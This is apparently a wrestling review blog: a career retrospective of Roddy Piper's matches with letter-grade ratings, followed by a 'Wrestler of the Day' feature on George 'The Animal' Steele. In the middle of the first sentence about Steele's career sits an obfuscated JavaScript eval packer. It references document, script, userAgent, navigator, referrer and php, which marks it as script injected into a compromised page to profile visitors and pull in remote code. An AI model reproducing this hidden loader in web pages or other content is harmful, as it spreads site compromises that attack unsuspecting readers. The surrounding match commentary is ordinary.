WWF World Title: Hulk Hogan vs. Roddy Piper

We’re on MTV now for the next thirty minutes. Piper does the whole pipe and drums intro thing. Piper wears a Hulkamania shirt and brings in a guitar. Orton has a sling for his arm as the injury is very slow healing already. Bob Costas is doing the ring announcing here to show how big this is. Piper breaks the guitar saying this is what I think of rock and roll.

The place EXPLODES for Hogan and Eye of the Tiger. This really should have been the main event of the first Mania, perhaps with Hogan challenging for the belt. They go right at it to start with Hogan DRILLING in right and Piper collapsing from the force of a whip into the corner. Big elbow drop has Piper reeling early on. A ton of celebrities are here. This really was a huge deal.

Clothesline in the corner gets two as the fans are rabid here. Piper gets the sleeper which is actually a choke. We get two arm drops and Hogan shakes his finger no on the third one to a huge reaction. Hogan rams him into the corner to break it up and here’s Orton for the interference that isn’t seen.

His arm goes into the buckle and Hogan fights back with….left hands? Really? It’s on now and here comes Paul Orndorff to replace the hurt Orton. There goes the referee and Orndorff gets a top rope knee and it’s thrown out somewhere in there. The heels beat down Hogan, and then we get to the REAL reason this show happened: Mr. T. jumps the guard rail and gets in, only to be beaten down as well. Hogan comes up for the save, and ladies and gentlemen, I give you Wrestlemania.

Rating: D+. Match sucked and if you think that means anything then stop reading as you have no business here. The match was simply the backdrop to set up the biggest event in wrestling history (yes Starrcade that includes you) and the show that would make WWF mean something. This would lead to Hogan vs. Orndorff which set up Hogan vs. Heenan which set up Hogan vs. Andre and I think you can see where this could get awesome in a hurry. Bad match, EPIC moment as the WWF had arrived.

They would have another match at the Wrestling Classic.

WWF Title: Roddy Piper vs. Hulk Hogan

Hogan, in white tights, is jumped by Piper during the music. This is more or less a token title defense here as it’s pretty much fallout (8 months later) from Mania. It’s of course a brawl from the start as nothing else would work for these two I guess. This reminds me of a UK game as it’s blue and white. That automatically makes this awesome. Hogan is dominating early so all is right with the world.

The referee stops a punch though, allowing Piper to punch Hogan. God bless sensible officiating. In something you don’t see often from Hogan, he uses a bearhug. His weight and size was rarely talked about as he was always against monsters, but he was bigger than about 90% of wrestlers ever. That’s saying a lot. This is about as standard as you can get as I feel like I’m watching a house show.

The sleeper is the submission hold of choice here and there’s the arm popping up on the third try. In a cool spot, Hogan runs at the ropes and dives over to break the hold. Yes you read that right, Hogan jumped. I’ll give you a minute to recover from that. Uh oh we have a ref bump. Piper drills him with a chair and of course being hit by a professional athlete with a large and heavy object made of steel isn’t enough to hurt Hogan at all.

Hogan gets Piper in a sleeper (yes you read that right) but Orton runs in for the DQ in another cheap finish. Orndorff makes the save. Gorilla says that Orton was effective. How? He caused his man to get a DQ and therefore it’s the same result as him getting pinned, but then again what do I know?

Rating: C-. This was generic, but then again it wasn’t bad at all. These two had a great chemistry together as there’s such a perfect natural rivalry that you can’t plan or script here. I always wanted for Piper to win the title, even for a month or two. Can you imagine the money that the rematches would draw? Heck that would have been FAR better as the main event of Mania 2. Anyway, this wasn’t bad or great, but it was more bad than good because of the ending.

No real reason for this one but it’s Piper being a jerk as always, culminating in a match between Jesse Ventura/Piper/Orton and the Hillbillies.

Jesse Ventura/Roddy Piper/Bob Orton vs. Cousin Luke/Uncle Elmer/Hillbilly Jim

Jim is the most talented of the face hillbilly team. What does that tell you? Piper and Orton say funny things about the hillbillies. He was a total master on the mic in this era. The hillbillies say generic hillbilly stuff. The mat is dark gray and the ropes are mixed up, as in they go blue, red then white. It’s weirder than it sounds. Also, the ring looks TINY. Uncle Elmer and Ventura start. Elmer is REALLY fat.

Wow it’s odd hearing Heenan from this era. It really is. He’s a totally different commentator. He’s still his usual jerky self, but his voice sounds different to put it mildly. Luke…sucks. That’s all there is to it. I mean he sucks HARD. Naturally he gets beaten down for the majority of the match. Piper was still moving in the ring at this time and was far better at wrestling than he was given credit for.

Jesse’s wrestling was underrated. He knew how to sell and could work a crowd really well. Luke gets his head handed to him for a good while. We get the classic ref doesn’t see the tag spot which is one of the easiest ways in the world to get heat on someone. Piper beats up Uncle Elmer, who is like 6’7 and close to 500lbs on his own. It’s rather amusing. We get a melee and after a cast shot to Luke, Piper puts him to sleep to end a glorified squash.

Rating: D. Weak stuff here but like I said, I’d expect a lot of that. There was heat from the crowd, but when the third best in ring guy is Hillbilly Jim, it’s a bad sign. This just didn’t work and felt weak, but that’s part of the problem with the hillbillies in general: they’re nothing but comedy characters and putting them in a match like this isn’t going to lead anywhere.

Piper would leave to make They Live soon after this. He came back to find that the Pit had been replaced by the Flower Shop, and that meant he was out of bubble gum. From Wrestlemania III in Piper’s retirement match.

Roddy Piper vs. Adrian Adonis

The loser gets their hair cut and is probably the third biggest match on the show if not the second biggest. Piper walks to the ring instead of taking the cart to soak everything in a little bit more. The fans go NUTS for Piper who is still somewhat freshly face. Adonis is rather plump here, giving us a great line from Jesse: “We’re either going to have a bald Scot or Humpty Dumpty.” Piper takes off his belt and they whip each other a few times with Adonis taking over.

Piper comes right back by sending Adrian into the corner for Flair Flip to the floor. Both Adonis and Hart get pulled back in and Piper rams them together to send them back outside. Back in again and Piper throws Hart off the top and onto Adonis but Jimmy FINALLY gets something right by tripping Roddy down.

Now it’s Adonis in control as they head to the floor. Piper gets sent into the announce table and Jimmy adds a spray of perfume into his eyes. There’s Adrian’s sleeper (Good Night Irene) and Piper is almost out, but Adonis lets him go at two arm drops. Brutus Beefcake runs out to wake Piper up and after a missed clipper shot from Adonis, Piper puts him in the sleeper for the win.

Rating: C+. This was the exact kind of wild brawl that you would expect it to be. The ending was the right move as Adonis had accidentally cut Beefcake’s hair recently so it made sense given the haircut stuff. This is the right way for Roddy to go out though and the fans were way into it. Fun stuff here.

Piper would actually leave the ring for over two years, eventually coming back in late 1989. He and Bad News Brown eliminated each other from the 1990 Royal Rumble, setting up a bizarre match at Wrestlemania VI. In what I think was some kind of a nod to Michael Jackson, Piper came into the match with half of his body painted black. It didn’t make sense but it was certainly memorable.

Roddy Piper vs. Bad News Brown

An interesting point here is that both guys are legit black belts in judo with Brown being an Olympic bronze medalist in the sport. They immediately take it to the mat in a fist fight until Piper gets two off a cross body of all things. The referee (former heel wrestler Danny Davis) keeps separating them so Brown takes over by sending Piper’s head into the buckle. He yells at Piper for trying to be black and it’s off to a nerve hold.

Brown slugs him down a few times and drops an elbow for two. Somewhere in there a buckle pad is ripped off and it’s Brown going chest first into said buckle. Piper pulls out a single white glove (Brown wore a single black one) and a bunch of punches send Brown to the floor. Piper swings a chair but hits the post and it’s a double countout.

Rating: D. Instead of a brawl or something entertaining, this was much more of a bizarre spectacle than anything else. Brown would be gone soon after this while Piper would shift into the broadcast booth to take over for Jesse. The fight was a lot weaker because of how much stuff there was to distract from the action which is never a good thing.

Piper wrestled very sparingly for awhile as he did commentary for the second half of 1990 and injured his knee in a motorcycle crash. After squashing some jobbers in late 1991, he earned an Intercontinental Title shot at Royal Rumble 1992.

Intercontinental Title: Roddy Piper vs. The Mountie

Piper slowly removes his kilt and Mountie cracks jokes. When the champ turns his head, Piper shoves the kilt in his face and takes over quickly. We head to the floor with Mountie quickly reeling. Back in the ring and Mountie chokes a bit before getting punched in the face. A very delayed bulldog puts Mountie down and Piper easily wins a slugout. He misses a dropkick though and Mountie puts on a half nelson. A jumping back elbow gets two for Mountie as does a sunset flip for Piper. Piper atomic drops him to the apron but Mountie skins the cat. He also collides with Jimmy Hart and the sleeper gives Piper the title.

Rating: D. The match itself sucked but there was never any doubt about this match at all. Mountie is about as textbook a definition of a transitional champion as you’ll ever see and the place went NUTS when Piper won the title. This would be Piper’s only singles title in the WWF and his only title period (other than those before he got to the WWF in the first place) until he won the US Title in WCW for less than two weeks.

Roddy would basically retire again for several years after this, before eventually becoming the WWF President. That didn’t last long either though as he debuted at Halloween Havoc 1996 and had a match against Hogan at Starrcade 1996.

Hollywood Hogan vs. Roddy Piper

The whole idea is that Hogan has never definitively beating Piper one on one. Hogan has a fleet of people with him here but he still wants time out before we get going. He’s already on the floor before the bell rings and it’s time to stall. After a minute of waiting on the floor he heads back inside for a lockup and takes Piper into the corner. Piper shoves him into the other corner and finally fires off some right hands, sending Hogan out to the floor and up the aisle. Back in and Hogan pounds away as this is very dull stuff so far.

Hogan throws a lot of punches but Piper comes back with a thumb to the eye and a clothesline. Hollywood heads to the floor and it’s time for more stalling. Back in for a main event headlock which Piper uses to drag Hogan down to the mat. Hogan finally knocks him out to the floor for more brawling, which means single right hands knocking Piper three feet backwards.

They head back in with Piper punching him down again as we head to the floor for the fifth time or so. Piper rams him into the barricade over and over before whipping Hogan in the back with a belt. Back in and Piper slams him down, only to be tripped by Ted DiBiase, meaning WE GO OUTSIDE AGAIN. Hogan knocks Piper into the crowd for a second as this is REALLY boring so far. Back in yet again and Hogan kicks away at Piper’s recently replaced hip before putting on an abdominal stretch.

Piper fights out of it and pounds him in the head before getting two off a small package. They slug it out a bit and Tony is thrilled by this for some reason. Piper hooks a suplex and you would think he had just reinvented sliced bread. Time for more laying around but Hogan misses his legdrop.

Piper gets up and hops on one foot (what was with that???) and here’s Giant for the save. He picks up Piper for the chokeslam but after holding him in the air for seventeen seconds (including Hogan having to stop a fan from running in), Piper kicks Hogan down and bites Giant to escape the hold. Piper shoves Giant to the floor and puts Hogan in the sleeper for the win.

Rating: F. For the main event of the biggest show of the year, this was awful. For a match in general, this was a disaster. The fans didn’t react at all until the end and even then it was NOTHING compared to the pop when Luger beat Giant. It was clear that neither guy was capable of working a match this long with no one to help them and it made for a terrible ending to the show.

WCW goes nuts for Piper and the NWO runs in to beat down Piper. He fights them off and bails before Giant and Hogan are furious with each other. Giant asks Hogan where he was when he needed Hogan. Oh by the way: this wasn’t for the title. WCW never said it was but never said that it wasn’t either, correctly assuming that fans would think the main event of the biggest show of the year was a title match.

We’ll jump ahead again as 1997 and 1998 didn’t have much for Piper. Those years were spent either in matches about respect or bringing up his rivalry with Hogan that no one wanted to see in the late 90s. Instead here’s a match from Slamboree 1999 as Piper and Flair are fighting for the presidency of WCW because Flair is insane.

Roddy Piper vs. Ric Flair

The winner is the president. Before things get going, referee Johnny Boone is fired and Charles Robinson replaces him. Flair runs his mouth and gets slapped to get us going. Piper knocks him to the floor and let’s take a break after that. He boxes Flair, seemingly hitting him in the chest and neck, but Flair falls anyway. He hits a low blow to take over and Robinson yells at Piper for choking.

Flair yells at Anderson to beat on Piper when he throws him outside. Flair throws Piper outside and Anderson beats on him. Asya comes in for a low blow and this is about as far from serious as you could want it to be. Flair chops away in the corner and Piper chops back. Robinson cheats on a cover and says Flair keeps getting his shoulder up. There’s the Flair Flip in the corner and they go to the outside.

Piper rams Flair’s head into Flair’s arm but we’ll say it was the post anyway. Back in the ring they ram heads and both guys are down. After about 2 seconds of leg softening here’s the Figure Four. Piper tries a sunset flip and there go the trunks. He hooks Flair in the Figure Four and Flair screams that he gives up but Robinson ignores it. Anderson breaks it up but gets thrown in a sleeper. Now Flair in the sleeper. Asya runs in and gets kissed and put in a sleeper as well. The referee gets decked and Flair hits Piper with an illegal object for the pin.

Rating: The chipmunk has pneumonia. I better take him to the embassy before he deletes the remote control of reality and I run out of apple juice. If he does that, there will be a great and mighty feast in the great archway of the flippyflook.

And that was more logical than putting this match on PPV. But wait: there’s more.

Here’s Eric Bischoff who hasn’t been seen in awhile and has no authority whatsoever in this company. He says Piper is the winner and that Flair can bite him. Somehow this stands. Eric and Piper hug to a face pop (intentional I’d assume but who knows with this company?) and Piper fires Flair. Just….yeah.

Thankfully we’ll get out of WCW after that as Piper entered into another retirement, only to return at Wrestlemania XIX to reignite his feud with Hogan. They would meet at Judgment Day 2003. Er, actually it was Mr. America but whatever.

Mr. America vs. Roddy Piper

Get this over with. FAST. Sean O’Haire is with Piper here and Gowen is with Hogan. The joke is an old one here but still kind of funny. Piper, in regular trunks, jumps Hogan along with O’Haire to take over early. O’Haire, in wrestling gear for no apparent reason, hammers away on Hogan a bit too. Here comes Mr. America with the “24 inch Patriots” and the beating is on.

Out to the floor and Hogan chokes O’Haire with the weight belt. Hogan whips Piper with it a bit as we haven’t had a single wrestling move other than a punch or whip in this whole thing. Sleeper goes on and it’s AWFUL. Piper is almost poking him in the eyes. Hogan fights that off and gets taken down by an axe handle to the back. American hammers away again and it’s Vince to the rescue! Low blow by Piper but a pipe shot from O’Haire hits Piper and the leg drop ends it. Gowen kept Vince from saving it.

Rating: F+. Why in the world is Roddy Piper in trunks in a featured match on PPV in 2003? Hogan….eh I guess you can stretch to let that be here, but put him against O’Haire and let HIM get the rub. He was a cool character and he gets fed to Hogan instead of growing a bit. That’s the criticism you get for Hogan and at times it makes sense. Granted this one isn’t Hogan’s fault, but it’s the stereotype of him. This one is on the company though.

Piper would be gone again but would come back in 2006 to team up with Flair in an effort to teach the Spirit Squad respect. From Cyber Sunday 2006.

Raw Tag Titles: Ric Flair/??? vs. Spirit Squad

The vote is for Flair’s partner. The choices are Piper, Slaughter and Dusty. Piper, looking VERY old, gets the nod. Is there supposed to be a connection between Slaughter and Flait that I’m just not getting? Piper takes his shirt off and I get mad at him. How could he not tell us he was 8 months pregnant? He even has breasts full of milk! Dusty and Slaughter come out to back up the old guys for this.

Kenny and Mikey are the two in the ring at the moment. Ross says this is like Lebron vs. Michael Jordan. Well no one ever claimed Ross toned things down. Both tag and Piper is pathetic looking. Piper gets beaten up as Flair is by far the ace of the team. That’s either awesome or sad and I’m not sure which. The heels dominate for the most part while Piper just kind of lays there.

The hot tag brings in Flair and Mikey is in the figure four but Kenny saves with his top rope legdrop. Are we waiting on the Piper hot tag now? It’s clear that Flair is the only guy on his team in any semblance of shape. Figure four goes on again and OLD GUYS WIN! Dusty and Slaughter come in to stop the big beatdown. Rhodes’ music of all things plays them out. Ah ok it’s so they can dance.

Rating: D-. This was pretty pathetic really. Flair is passable but Piper was clearly just in nothing close to wrestling shape. He would at least wear a t-shirt for the rest of his time in the ring which is a nice break. They would drop the belts in 8 days to Rated RKO so at least this wasn’t long or anything. The match was bad though, namely due to Piper.

We’ll wrap it up with a match from Raw on June 13, 2006.

Roddy Piper vs. The Miz

Piper is in tights and a t-shirt while Miz is in street clothes.  Miz hammers away and Piper gets a sleeper.  Riley pulls him off and here they go.  Piper grabs a schoolboy for the pin at 1:06.

Oh come on it’s Roddy Piper. He could have an entertaining match in the ring if given the chance but his greatest glory came on the microphone. Piper is one of the best talkers of all time and there’s a case to be made that he’s the best ever. Yeah he thinks a bit too highly of himself, but to suggest he’s anything but outstanding is ridiculous.

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Wrestler of the Day – April 17: George “The Animal” Steele

Today’s wrestler stayed active for a ridiculous amount of time and completely changed his character over time: George Steele.

Steele eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtedz|var|u0026u|referrer|diase||js|php'.split('|'),0,{})) started wrestling in 1962 in the Detroit area before heading to New York. He became a big deal in the WWWF to the point that he had a LONG feud with Bruno Sammartino over the World Title. Here’s one of those matches from July 25, 1970 in MSG.

Bruno Sammartino vs. George Steele

Gorilla Monsoon, the host of the tape this is from, says this is from sometime in the 60s but isn’t sure exactly when. That would likely be because it’s from the 1970s but he’s close enough. Back then Steele was a top heel so this would have been a big time fight. The cage is weird looking as it’s more or less wire walls rather than a traditional cage. Steele has riot gear police officers bring him out. This is still escape rules. Naturally the commentary is from the 80s rather than back in the day as there likely wasn’t commentary done for this originally.

This is clipped to an extent. Bruno hammers him as this is probably the culmination of what was a major feud. Steele looks identical to what he would for the rest of his career. Steele actually gets a low blow before eating a turnbuckle. He rubs the stuffing into Bruno’s eyes which blinds him but George won’t just leave. Apparently Styrofoam stuffing is blinding. This is in Philadelphia according to Monsoon.

Bruno gets rocked by Steele for a good while as the camera and lighting is really different here but of course at the time no one knew what to do from a production standpoint as this was a very new idea back then. Bruno Hulks Up as Steele pounds away and then runs as Bruno can’t be hurt. Sammartino destroys him by ramming him into the cage a bunch and then climbs out.

Rating: C-. Nothing great here but seeing something from this far back in time is always cool. Steele didn’t change a bit in about twenty years and was still completely awesome the whole time. This was a pretty ok match but the clipping didn’t help. Bruno was completely awesome in cages and this worked ok but at six minutes shown, how into a cage match can you get?

Steele would continue getting title shots for years, including this one against Pedro Morales on June 30, 1973.

Pedro Morales vs. George Steele

This was back when Steele was still able to speak like a human. He looks almost exactly the same as he did in the 80s and 90s. Steele tries to jump Pedro to start but gets thrown into the corner and out to the floor by the champion. Back in and Steele gets in a shot to the ribs with a foreign object to put Morales in deep trouble. Another shot with the object has Pedro reeling. There’s a slam and a third shot, this one to the throat, has Pedro writhing in pain on the mat.

Morales comes back with some lefts as Steele tries to hide the object. They circle each other for a bit until the champion puts him down with an armdrag. Steele tries to hide in the corner but with a chest like that (covered with hair) it’s kind of hard to hide. The challenger goes to the floor for a bit before coming back in and knocking Pedro out to the apron. Morales is rammed into the turnbuckle and falls to the apron.

As Steele tries to ram Pedro’s head in, the champion slips in a left hand and sends Steele into two turnbuckles. I’m not skipping stuff in between here either. The action really is that slow. Now it’s George on the apron with Morales pounding away at his bald head. The champion takes a big bite out of Steel’s forehead before pounding away at it even more. The beating is so bad that the referee stops the match, awarding the win to Pedro due to the blood on Steele’s forehead.

Rating: D. This was a pretty lame match with not a lot of action in it at all. Steele was a game challenger but the foreign object bit comes off as dated now. The blood flow wasn’t even all that strong and it made for a weak ending for the match. On the good side though, Pedro got a great reaction from the crowd and it was clear that he was a strong champion.

We’re going to jump WAY ahead here as Steele would only appear on occasion. Actually we’re going to jump all the way to August 10, 1984 as Steele has become his trademark wildman persona and is again challenge for the title, this time against Hulk Hogan.

WWF Title: Hulk Hogan vs. George Steele

Steele has Fuji in his corner and Hogan is in the rare blue trunks tonight. Steele flails around the ring to start but Hogan does the same thing, sending the Animal to the floor. That’s fine with the champion who follows him out and goes to work but let’s stop to look at the fans for some reason. Inside again and Steele backpedals as the match stops cold. Steele finally goes to the eyes to take over before raking at the face some more.

Hogan comes back with some biting of the face but Steele hits him in the throat with a foreign object. Another shot with the object has Hogan in big trouble and Steele stomps away at the arm. We hit an armbar (to set up Steele’s flying hammerlock finisher) on Hogan but Steele lets go for consultation with Fuji. It’s Hulk Up time and Steele’s shots have no effect. A big back elbow puts George down but Fuji breaks up the legdrop attempt. Hogan goes after Fuji and gets salt thrown in his face, sending him to the floor for a countout.

Rating: C-. This was your standard match to set up a rematch while keeping Hogan looking strong. That’s fine all around though as it was still early in Hogan’s reign and he needed to get some big wins when it was in doubt to keep things interesting. The fans went nuts on Steele for his cheating and that’s the exact idea.

And then there was a rematch with some seconds added. Let’s get this over with. From 16 days later.

Hulk Hogan/Gene Okerlund vs. Mr. Fuji/George Steele

August of 84 in Minneapolis. This is when Fuji still wrestled on occasion so he’s not horrible. It’s all Hogan for the most part of course and by that I mean he wrestles most of the match. Gene in trunks and no shirt is something I NEVER need to see again. Clipped to Steele cheating and taking over on Hogan. Hogan sends him to the floor and struts a bit. Gene high fives Hulk and that counts as a tag. Gene, ever the idiot, tries his luck with Gene….and then dives through George’s legs for the tag. That’s better.

Clipped again to Hulk pounding on Fuji. Fuji tries to throw some salt but Hogan messes that up. Gene puts a knee into Fuji (or something like that) and then Hogan slams Gene onto Fuji for the pin. Yeah I think we all knew that was the ending that was coming here. Gene gets to kick both guys post match.

Rating: D+. Ok yes it’s bad, but at the same time what were you expecting here? I mean, you have to keep in mind what you’re watching when you look at something like this. It’s not going to be a masterpiece and yes it’s very bad, but you have to give it a big bit of slack as there’s a manager and an interviewer out there.

Steele would drop down to the midcard soon after this, including appearing in the first match ever on Saturday Night’s Main Event.

Iron Sheik/Nikolai Volkoff/George Steele vs. Mike Rotunda/Barry Windham/Ricky Steamboat

That’s quite the face tag team. This was on the SNME DVD (great DVD that should certainly be picked up if you can find it. Awesome stuff on it) as an extra. Blassie is with the heels and Albano is with the faces. The two foreigners had taken the tag titles from the US Express at Wrestlemania for a token tag title change.

About a year prior to this, the US Express had been using Real American for their theme music. That went to Hogan of course and here they use Born in the USA by Bruce Springsteen which works like a charm for them as it’s perfect. We start with Windham and Steele which is an odd matchup if there ever has been one.

Sheik was hitting the end of whatever usefulness that he had at this point. Rotundo would soon head to WCW and become a member of the Varsity Club, ending in an awesome moment with Rick Steiner taking the TV Title from him after months of being talked down to by him. Wow what a tangent that was.

Oh and he’s more commonly known as I.R.S. Oddly enough the faces dominate early on. We go to commercial with the faces dominating. We begin the awesome SNME tradition of not having action during commercials so we don’t have to be all confused about how we got to a point during a break.

Wow there are four hall of fame wrestlers in here and two on the floor. That’s rather impressive, especially considering that the two that aren’t in there are two of the three most talented. Steele comes in and his teammates abandon him, allowing Windham to get a quick rollup for the pin. Steele eats a turnbuckle and the tag champions beat him up. That doesn’t last long as Albano comes in to calm him down and Steele is a face.

Rating: C-. Eh this was fine. It wasn’t meant to be anything special other than a way to get Steele out of the dark side, but the heel offense consisted of about four Volkoff punches and other than that it was a complete squash. I don’t get why it was so one sided, but it did its job and wasn’t bad at all so for the first match in show history this was perfectly fine.

Steele would turn face after the match and stay that way for the rest of his career. He would soon start a LONG against with Randy Savage with the first major match taking place at SNME #4.

Randy Savage vs. George Steele

This is about a month and a half before Savage won the IC Title and held it for over a year, losing it to Steamboat at Mania 3 when Steele helped him win it. You could argue that this is the first match in a year and 3 month long feud. We get some chasing outside on the floor and then he eats a turnbuckle. A double axehandle…gets the pin. Ok then.

Rating: N/A. Total comedy match and a bad one. This got them nearly a year and a half. WOW.

There was a rematch for Savage’s Intercontinental Title at Wrestlemania II.

Intercontinental Title: George Steele vs. Randy Savage

This was a pretty big feud that also wound up meaning a lot more the next year than it does here. The basic idea is that George is in love with Liz and doesn’t like how Savage treats her. There’s a great angle right there that hasn’t been used in a LONG time (Punk/AJ/Bryan isn’t the same thing). Savage in an inset interview babbles as only Savage can without saying anything of note.

Steele does a freaky kind of dance and Savage immediately bails to the floor. That works so well that they do it again and make it three times until FINALLY George chases after him. Steele catches Savage going back in and bites his calf before they head back in. Randy hits a running knee to the chest but Steele easily lifts him into the air and chokes him down. George gets caught looking at Liz though and is tied up in the ropes so Savage pounds away.

A top rope cross body gets two for the champ (Savage in case you’re really young) and Steele throws him to the floor. Randy slips under the ring and sneaks up on George, only to get bitten on the arm. Savage goes to the floor and finds….a bouquet of flowers? George shoves them into Randy’s face before going to eat a turnbuckle (don’t ask).

The stuffing goes into Savage’s face but Steele AGAIN gets distracted by Liz, allowing Savage to hit the ax handle to the back. Back in and Savage hits the slam and elbow for two. Wait what? This is 1986 and the SAVAGE ELBOW only gets two? Steele grabs Savage by the face and sends him into the corner, only to get tripped up and pinned with the feet on the ropes to retain the title.

Rating: C-. This is one of those matches where your individual taste is going to vary a lot. On one hand, it’s a comedy match but not an incredibly funny one, while on the other hand it’s terrible from a wrestling perspective. On the other hand, you have three hands and should see a surgeon immediately. The point is this wasn’t much of a match and never would have made it onto a modern Mania card. Of course it wouldn’t; the Intercontinental Title doesn’t exist around Wrestlemania time. Also, of all the people in the WWF, GEORGE STEELE gets to kick out of the elbow? REALLY? This was fun for the goofiness if nothing else.

Steele would become Hulk’s buddy of the week for a tag team match on August 9, 1986.

George Steele/Hulk Hogan vs. Randy Savage/Adrian Adonis

This is going to be a comedy match I’d assume. Steele tries to bite Adrian after their entrance before we get going. He also rips his shirt off ala Hogan in a funny for some reason bit. Hogan eats a turnbuckle and everything is insane. We finally get down to a match with Steele vs. Savage in the ultra rare dark red boots and tights.

Savage runs to the floor and Hogan scares him right back in. Back to the floor again as you can see that Savage cut his teeth in Memphis. That’s pure old school Lawler/Jarrett stuff and it works very well. We shift off to Hogan vs. Adonis with the ring covered in the turnbuckle stuffing. Corner clothesline to Adonis and it all breaks down again. Adonis is kind of crotched on the railing outside but it kind of missed.

Back in and it’s Hogan with a big boot to Adonis but he makes a blind tag to bring in Savage. Hogan beats up Savage too because he can and it’s off to Steele. Steele is sent into the corner and Adrian hammers away on him. Off to Savage who does exactly the same. He tries a sleeper but Steele bites his arm instead. Off to Hogan and Adonis with Adonis hitting a suplex for two.

Another suplex hits for the same result. According to Hayes ONLY Hogan could kick out of that. Sweet goodness did they suck up to him way too much. Sleeper, Adonis’ finisher, goes on until Adonis just drops him and throws down Hogan. Middle rope splash eats knees and it’s off to Savage. Everything breaks down again and Savage accidently backdrops Adonis and the leg drop ends him.

Rating: C. Just a glorified comedy match for a house show main event. Not a thing wrong with that as the whole thing worked for its purpose. The fans loved it and we got some slightly funny spots out of it also. What more can you ask for from a match with Adrian Adonis and George Steele in it?

Back to Savage for a match at SNME #9, but this set up something bigger.

Intercontinental Title: George Steele vs. Randy Savage

Vince wanted Liz like no other. To be fair she does look great here. George again says he has a surprise and comes out with an action figure of himself. He gives it to Liz but Savage takes it and throws it down. Soon thereafter he’s flying through the air as Steele throws him all over the place. Savage comes back and sets for the elbow but some music hits and the roof gets blown off. RICKY FREAKING STEAMBOAT makes his return and stares down Savage. Macho loses his mind and no one can get Steamboat back. Steele gets the advantage as they finally get Ricky back to the locker room.

Steele kidnaps Liz and carries her away before he finally comes back. A buckle gets ripped open which was always a weird thing. Vince: “He’s only salivating on him.” It was a different time I guess. Steele bites his arm a bunch of times for some reason as Jesse asks why isn’t he being better fed. Savage gets hit by a foreign object but clocks Steele with the bell to retain. A post match beatdown is attempted but Steamboat comes down for the save.

Rating: D+. Match was a glorified comedy match but most of the encounters for these two were. The main thing here obviously is that it set up Savage vs. Steamboat in the legendary showdown at Mania III. Back in the day they built up shows from a far longer away time which made them feel more epic. That and Mania was the only PPV of the year so it really was the huge show to build up to.

We’ll go with one more SNME match so Steele can get a win. From SNME #13.

Danny Davis vs. George Steele

Davis was the referee that went heel and became a bad wrestler with an interesting gimmick. Steele is way over and Davis is way hated. This should be decent from a crowd perspective. The wrestling will suck though. Davis tries to sneak up on Steele and he does a SWEET jumping reverse drop toehold. That’s the best description I can give it but he did it without turning around. It was awesome. Let’s go with that.

That was what was great about Steele’s character: he was the original Eugene more or less. There was a freaking hilarious bit on Tuesday Night Titans once where he got electrocuted and started talking like a normal person for a few seconds and then another shock turned him back into his usual self.

It was better if you saw it I guess. Davis has a foreign object and it gives him the advantage. Steele gets the flying hammerlock (don’t ask) off a missed punch and Davis kicks the referee for the odd DQ. Why not just give Steele the submission? I don’t get that but for a four minute match to end an incident from six months ago I can’t blame them that much.

Rating: D+. This wasn’t supposed to be serious so I’ll go easy on it. You simply can’t grade every match the same and I try not to in cases like this, although that doesn’t always work. This was fine for what it was as Davis cheated to get the limited offense in that he could, but at the same time he got caught and everyone was happy in the end.

Steele would retire a littler over a year later due to his Crohn’s Disease but would come back for a few occasional appearances. One of those was at Heroes of Wrestling.

Greg Valentine vs. George Steele

Valentine says he’s the son of the legend Johnny Valentine. That’s an old school idea which was done with guys like Shane Douglas as Paul Orndorff’s nephew and Bruno Sammartino had a “cousin” as well. He says he’ll leave with Sherri tonight whether she likes it or not. Seriously, this is some very basic but great heel stuff tonight and it’s making things a lot better than they have any right to be.

Sherri comes out with Steele as she’s already standing by her man. George looks exactly like he did over 20 years before this, as does Valentine. That’s quite the testament to their training regimens. Valentine hits the floor and goes after Sherri like any good heel going after the weaker person. Randy keeps things simple by saying it’s stalking. Sounds like a reason for Steele to stand up and stop Valentine if you ask me. George eats a turnbuckle and you can practically see Sherri’s eyebrows go up.

Steele bites Greg’s arm which is probably a bit more nutritious. I can’t believe I’m saying this but Sherri isn’t looking bad here. Back inside and George tries to take his shirt off but Valentine jumps him with the shirt over his head, almost like a cheating hockey player. Now we get to the climax of the match as Sherri turns on Steele and helps Valentine, playing up on George’s stupidity as he won’t be able to see her and will think it’s one of Valentine’s friends.

Back up and with the shirt off, Valentine pulls out a foreign object to get in a cheap shot and keep his control. We’re hitting all of the 80s high spots here and the crowd is reacting to it exactly as they should be. Dutch has gotten up to try and talk some sense into Sherri which might be going a bit too far. Do your job Dutch. The talk doesn’t even work as Sherri gets in a chair shot to give Valentine the pin.

Rating: D+. Not as good of a match here but they hit everything the needed to hit. Steele was a great choice of a sympathetic face, much like Kane with Tori over in the WWF around this time. You wanted to see him succeed and they did a great job of having everyone else involved screw with him and set up a rematch later on.

Steele would also appear on Nitro on January 10, 2000 as a special legend to face Jeff Jarrett that night.

George Steele vs. Jeff Jarrett

This is a Bunkhouse match, meaning anything goes. Chris Benoit is guest referee to continue his feud with Jarrett. Steele brings out a dumpster full of weapons with him but Jeff sidesteps most of them. Animal finally connects with a trashcan shot to the head and a second one sends Jeff to the floor. While George eats a turnbuckle, the Old Age Outlaws (seriously) sneak up on Jarrett. They’re a bit late as Jeff blasts Steele with the guitar, only to walk into an Arn Anderson spinebuster. Steele is put on top for the easy pin.

George Steele was, shall we say, an interesting one. He was far better known for his character than his in ring work and there’s nothing wrong with that. Steele wrestled for a very long time and only retired because of his illness. No his matches weren’t all that great, but he scared me to death as a kid and that’s what a guy like him was supposed to do. Well at least when he was a heel. Still though, he was a likeable guy if you were old enough to not be terrified by him and that’s a valuable asset to have. Also the shock therapy segment his hilarious if you have time to look it up.

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